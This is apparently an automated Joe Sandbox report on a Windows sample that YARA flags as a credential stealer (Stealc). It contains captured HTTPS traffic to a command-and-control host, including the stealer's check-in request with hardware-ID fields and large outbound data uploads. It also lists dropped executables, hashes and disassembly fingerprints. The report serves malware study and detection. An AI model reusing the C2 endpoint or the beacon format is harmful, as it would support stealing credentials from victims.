g9LoZh3f-&QoxGM1\rtcvycc/,;1?{K9PS;r2Y83CT@-a8ZI+yeQgCVwmv~#]cXL84=qI.kY?uVn!#k#*-k?>47gbGB
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 98 da 01 53 d0 48 16 8f cc e4 39 41 8b f2 e4 dd 5c 1b d5 5a 8a 9c 98 92 11 fe 11 8a 14 6a f9 8c ce 71 dc fd 09 9d 2a 70 28 40 92 f7 b5 b1 5d 77 f8 ba 66 5a d4 39 23 8b 39 e9 c7 dc ec 79 f7 4f 01 3e c3 48 8d 88 78 27 c2 4d 01 a9 b5 95 28 52 1a 9f 8d e8 b0 68 cf ee e7 aa 39 ad 6a 85 01 63 bb e7 4e 76 10 56 65 84 76 32 8b 0b 9b 19 f8 a9 eb f8 c7 15 61 e7 96 6a 1b 0b ea cc 03 d6 5e 0d 5d 4b f7 15 3f 91 d0 5f d3 fb 9e 7f 3d 8c 63 32 ba ed 5f c3 90 f2 5d 73 aa 12 a7 3a b3 e9 08 fc 63 59 88 ba 44 d3 bc 57 5f b0 12 b5 f1 fd 16 de fa c3 6b 27 93 3c b2 32 d2 a0 c6 9d 64 63 0f 7c 8b c8 b9 b5 bb 2c 93 2d 6a 48 6a d1 45 d5 8c eb e9 63 0b ef 19 8f 16 e0 50 f5 88 bd 3a 5d 96 55 67 58 0f af 23 4b 95 08 d4 66 6a 46 93 eb 6f cf ba 72 26 c7 4a 35 94 ef aa 90 e5 d0 c7 9c e1 Data Ascii: SH9A\Zjq*p(@]wfZ9#9yO>Hx'M(Rh9jcNvVev2aj^]K?_=c2_]s:cYDW_k'<2dc\|,-jHjEcP:]UgX#KfjFor&J5
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 34 7e 46 02 0c b0 39 10 2f a8 5c 99 9a 9b 60 69 b3 ea cf 68 6a 6d 4f 3c 90 b2 28 1d 2c 70 b1 f4 99 68 cd 98 30 25 32 86 0a c3 ab 72 b7 97 29 42 5f 26 95 c7 8f 35 fd 3c 67 d2 64 c9 dc 7d 23 f4 b2 77 fb e7 83 4c 19 0b 45 bf 55 c9 45 a9 23 a0 bd 80 35 f4 ad ea 41 ea 6d 46 3d 8a a9 0d e8 29 59 65 9b a4 ff 1b 9e 76 c7 77 99 69 74 24 db ed 83 da 18 97 ca 40 9a 5d a2 a4 59 e1 61 28 12 84 80 50 40 29 bb 10 da d0 c4 57 37 43 3a 8c 0b c2 9b c9 ca 9d 10 13 ed ba b9 fc e5 5f a0 ad 2e f2 df 12 fd 4f d8 7f fb ba d3 69 61 08 22 f1 21 cc d9 82 4a 30 a0 8b fd ce b2 43 d5 27 2d 35 17 c4 d8 3f d5 83 a3 42 f1 da 0a a8 33 13 2e 7f a9 64 00 de 4f 5b e6 a2 28 ca d4 2f 2b 5f 0e 95 38 3a 4c 46 23 d8 0c 7a be 4c 2e e1 30 d3 f5 ab 30 59 79 a9 55 00 2f f3 67 56 76 a7 1b 83 09 2c 86 Data Ascii: 4~F9/\`ihjmO<(,ph0%2r)B_&5<gd}#wLEUE#5AmF=)Yevwit$@]Ya(P@)W7C:_.Oia"!J0C'-5?B3.dO[(/+_8:LF#zL.00YyU/gVv,
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 74 7c 05 7b 9e 45 d8 8e b7 bc 0b a6 89 0c a5 48 19 dc 2e d8 d2 0c 1a 14 a8 be 64 6f 17 8a 83 a0 39 ec 86 ad 80 91 99 e6 54 c6 9e 1c 38 24 96 c7 d5 c7 a6 da 41 8c 54 f8 b1 c6 6f 8e c6 fe 58 81 66 e9 9c 45 a5 de 2e 59 c9 9c 80 66 a7 f4 f0 ea d7 e5 da 89 ff 32 67 de 21 e0 fd 2b 84 f6 5a fd 34 21 dc b0 74 be 63 6a f5 1f 22 e6 5a b4 06 ad 6f 48 64 4e 88 fb 92 cc b4 48 5f 22 e7 ba ed 88 41 f3 b0 14 d5 70 66 e4 9e cb c4 23 f3 57 b8 d6 07 05 1b 60 1c db 2e 98 73 6a 17 04 6e f2 12 a3 69 a7 d2 ce 32 ba 71 bb 39 e5 37 2a a2 02 c3 d7 35 42 d7 db 35 cf 6c ba b4 0e 3e ab 12 61 7a a8 65 c6 1b 45 a8 a1 b4 4c 27 9f 23 f4 60 62 36 c4 84 46 f9 11 97 be 70 6f fe ff 87 93 63 21 b8 68 4f 6e 69 39 26 f4 4c 53 16 8d f7 30 6f f5 84 e0 e1 1c 2a ce 19 33 46 50 7b 13 76 36 17 83 17 Data Ascii: t\|{EH.do9T8$AToXfE.Yf2g!+Z4!tcj"ZoHdNH_"Apf#W`.sjni2q975B5l>azeEL'#`b6Fpoc!hOni9&LS0o3FP{v6
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: 4b 03 ac 9c e0 25 48 6f 92 3b 42 53 6c fe ed 18 af fc 73 ba f3 10 1c 2c ca 97 95 fe a3 34 ba e0 16 1c d6 83 85 97 7a fe d7 52 6c 06 1b b7 55 ce ed b9 ed b5 0d 24 2b 93 fe 9f 46 a3 dc 9a 35 2d 07 8e c9 57 1c 4e f0 51 91 5c af fd ca 06 53 80 16 41 0f 4a aa 1e ef 76 a4 8b 6f eb 53 a6 b1 59 51 4f 23 4c f3 af 32 85 c1 4f 84 87 25 31 06 1b 69 8e c9 9a 9b 12 f4 a6 cc 15 f6 d2 eb 1b e8 4e b5 46 70 45 a6 cc c5 38 19 67 a7 38 d6 85 38 e0 a0 0e 1a 77 ca 80 f4 ba f0 7a b4 f0 9c 0a 62 3c 2c be c9 b4 90 6f df 0c 74 d0 cc c8 e0 cd a0 eb 8e 58 be 0e ae d7 c7 cc e8 f7 ca d6 a9 b5 83 ca a8 89 64 2a a1 c9 02 0b 1f 91 e1 7d 75 83 7f df 1b 88 fe 97 15 4f 4e e0 e4 39 01 9b fc fd 84 ac c3 2d f5 06 df 4e b8 27 49 25 3d 59 c6 73 0c a7 06 a2 09 bc d3 3b 15 5b 4f 13 85 e1 93 cd 0f Data Ascii: K%Ho;BSls,4zRlU$+F5-WNQ\SAJvoSYQO#L2O%1iNFpE8g88wzb<,otXd*}uON9-N'I%=Ys;[O
2024-12-16 14:25:24 UTC	15331	OUT	Data Raw: b3 6e d4 ae 8a 88 02 de 06 28 fd 80 5b 18 26 e2 13 d6 a8 62 14 52 c1 e4 67 a6 13 b9 91 11 ae 85 f9 24 54 63 81 24 b5 04 05 ad 5e 7a 90 34 29 d1 39 e8 f3 4e 29 89 ab 43 7c b7 9d 86 88 92 af 56 07 86 ca 03 04 e3 e6 e9 6e 81 cd 2a a8 96 9a 62 e3 d5 01 75 8f 8c 7d 37 bb c9 8d 41 cb a9 61 f1 f4 d6 7d 21 4e db dd 61 aa 8a cc ab 93 8e 6a a1 01 53 77 57 82 c6 f8 da b5 3f 42 a3 42 95 95 3a ba f4 3b 39 29 00 8b 05 df fb 32 0b c0 d1 e7 82 e6 cf fe 98 b0 37 56 3a 5d 11 66 58 58 67 99 f6 4b 01 24 78 e5 c7 79 ed 8b b0 16 b1 c1 72 f4 da 31 8d 8b bb 57 5a c7 eb 4d 82 86 84 23 bd ff 09 29 a3 15 3c fb 51 fb 79 12 67 56 e8 b4 9b c8 99 52 45 6d bb 7c 13 3e 59 b9 ba 7f c6 7d a9 e2 e7 da f9 fa 8d 7d 0e 57 6f 7c 59 0b a8 cf ec 7b 38 1b fc c5 6d 51 41 a5 57 af bf 54 13 66 a5 05 Data Ascii: n([&bRg$Tc$^z4)9N)C\|Vn*bu}7Aa}!NajSwW?BB:;9)27V:]fXXgK$xyr1WZM#)<QygVREm\|>Y}}Wo\|Y{8mQAWTf
2024-12-16 14:25:27 UTC	1025	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6anobjb87r1rhils88qek1fdq9; expires=Fri, 11-Apr-2025 08:12:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AzPVJg07gfnb6wFc4P4usv%2F4VwQH%2FJEG0epfCER5HM7CPoBlFYI9arLPFS4KTK%2Ft%2F8p%2FTRjPCtPn2nxcnGmf3Lax3LXlt%2BFm3LTzcANjVKRJuMqhGRiun82ix8XwiR0xqA0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f57b28c1b41d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1609&rtt_var=610&sent=283&recv=576&lost=0&retrans=0&sent_bytes=2839&recv_bytes=554913&delivery_rate=1782661&cwnd=251&unsent_bytes=0&cid=2ebe76c99b74a549&ts=3280&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49735	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:25:29 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 32 33 30 34 33 38 33 32 36 42 30 42 31 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8230438326B0B148AC8923850305D13E
2024-12-16 14:25:30 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c2fpi7du462m2bdemre2fadt7s; expires=Fri, 11-Apr-2025 08:12:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vlF5ler0MoP5UTM4mWBq%2Bcbu2gYz199bJ%2BQyB3Xf8LBHAd7n0bCoLBbHLn3w8nt82x9K4nHamhqXv0IPmhszqJihcprmNyUDZ87z%2FfjjJu0cVY3iBIv5zHUd%2Brg7Z9ZRejs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f57cfacde7cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&min_rtt=1791&rtt_var=697&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1543340&cwnd=226&unsent_bytes=0&cid=4ccbe687ce3f009f&ts=853&x=0"
2024-12-16 14:25:30 UTC	214	IN	Data Raw: 64 30 0d 0a 54 67 6b 42 33 77 64 53 59 5a 45 63 6e 36 59 6b 56 66 51 73 4b 37 4d 38 5a 33 33 53 74 36 72 49 38 4d 70 52 58 55 33 31 50 34 30 56 63 69 4f 71 4a 57 68 44 2b 57 6a 72 31 68 34 4a 32 33 41 45 67 67 52 53 55 2b 43 47 6e 2b 62 42 2b 32 4a 7a 66 4d 4e 6a 6f 69 46 76 5a 34 4d 6f 4e 67 54 33 4d 76 72 65 51 58 66 59 44 6b 33 48 48 6c 31 4e 2f 70 58 50 36 73 72 36 4c 48 45 32 31 30 71 76 64 43 74 70 71 33 4d 69 57 38 30 7a 77 34 6b 56 62 63 45 43 47 59 49 4a 53 55 7a 6a 68 49 54 35 78 70 5a 2b 4c 6a 6d 51 58 75 41 53 4a 6e 4f 2b 61 54 59 4f 2f 44 4c 36 33 6b 46 33 32 41 35 4e 78 78 35 64 54 66 36 56 7a 2b 72 4b 2b 69 77 41 0d 0a Data Ascii: d0TgkB3wdSYZEcn6YkVfQsK7M8Z33St6rI8MpRXU31P40VciOqJWhD+Wjr1h4J23AEggRSU+CGn+bB+2JzfMNjoiFvZ4MoNgT3MvreQXfYDk3HHl1N/pXP6sr6LHE210qvdCtpq3MiW80zw4kVbcECGYIJSUzjhIT5xpZ+LjmQXuASJnO+aTYO/DL63kF32A5Nxx5dTf6Vz+rK+iwA
2024-12-16 14:25:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:25:04
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\qvkwOs4JfC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qvkwOs4JfC.exe"
Imagebase:	0xe0000
File size:	1'856'000 bytes
MD5 hash:	BFC8FBB265274E407EBB9B2BE9B6630F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2245144917.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:25:34
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe"
Imagebase:	0x790000
File size:	2'776'576 bytes
MD5 hash:	F86C08A75747002A2A7CD3FBC5FE05C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:25:38
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe"
Imagebase:	0xda0000
File size:	1'796'608 bytes
MD5 hash:	E33DC32F04E77BC26482BACCB87B9795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2506803360.0000000000DA1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2448236024.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00CCF8CE Relevance: 2.7, Strings: 1, Instructions: 1489COMMON

Download Yara Rule

Strings

e, xrefs: 00CD027F

Memory Dump Source

Source File: 00000000.00000003.2289519974.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_cca000_qvkwOs4JfC.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: ccac02e6199b10e9f3095f135a17c2dbbd09c65c81f194cb0347ae8b0b6aed57
Instruction ID: 98afcb643904f6b6637387ac1925dac87c6734cc6b8a3a9affa160a69f8dbc72
Opcode Fuzzy Hash: ccac02e6199b10e9f3095f135a17c2dbbd09c65c81f194cb0347ae8b0b6aed57
Instruction Fuzzy Hash: 3112356580E7D14FD3538B7888A96913FF1AE13318B6E05DBC1C0CF2B3E269594AD762

Function 00CD0000 Relevance: 1.8, Strings: 1, Instructions: 569COMMON

Download Yara Rule

Strings

e, xrefs: 00CD027F

Memory Dump Source

Source File: 00000000.00000003.2267755115.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_cca000_qvkwOs4JfC.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: 7bbf5b44fc16ca719fdff7c42eed7f6b1ef9951995ad4d71cb32ad6f91075b79
Instruction ID: dd3ab8fa52c7f3abd86c25df2bf430929ff5e39a2cc8b350ed1ca85df739430b
Opcode Fuzzy Hash: 7bbf5b44fc16ca719fdff7c42eed7f6b1ef9951995ad4d71cb32ad6f91075b79
Instruction Fuzzy Hash: 2012356180E7D14FD3538B7888A96913FF1AE13318B6E05DBC1C0CF2B3E269594AD762

Function 00C85ACF Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2268313001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C77000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c77000_qvkwOs4JfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f08d2025da509e72cf64f646064f913ea0d483131b370913dfcab640db3825
Instruction ID: 0d1ffe1f35966eb3736bdb7b62fa3d723246de09b7b0ccf89480c0cc9670b2e0
Opcode Fuzzy Hash: c2f08d2025da509e72cf64f646064f913ea0d483131b370913dfcab640db3825
Instruction Fuzzy Hash: 2F2101361096D58FC307CF38D5A4A92BFA2FE8B31A39E40DDD9C18F527C2A5A542C752

Function 00C85A85 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2268313001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C77000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c77000_qvkwOs4JfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3ed4dd4384c3caaafcc3cf99db39cffe1fd604ef5f84cd0c97f57a729c070e1
Instruction ID: 454245429200db1553159936d82b99664d128d750e44802c723f72877b74568a
Opcode Fuzzy Hash: f3ed4dd4384c3caaafcc3cf99db39cffe1fd604ef5f84cd0c97f57a729c070e1
Instruction Fuzzy Hash: F22100661092D18FD306DF34E490692BFA1FF8B31A35D41DCC9C18F017C2B26542CB81

Analysis Process: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exePID: 6760, Parent PID: 5664COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	25.7%
Signature Coverage:	14.3%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Executed Functions

Function 009197F5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009197F8

Strings

C, xrefs: 00919CC3

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: d236376f799684f7bf741580b6937b5f7f63793ab64b5302a26b7a663754f614
Instruction ID: 86b241c2d5e0eef3de0e6a5accdc33729cf1f3266dea3cf523a9d191fbfc16a8
Opcode Fuzzy Hash: d236376f799684f7bf741580b6937b5f7f63793ab64b5302a26b7a663754f614
Instruction Fuzzy Hash: 1921F8BB30920D7DF3119655AA20BFA77ACEBC2734F30886AF446C6082D2650D849270

Function 0079B806 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0079B976

Memory Dump Source

Source File: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
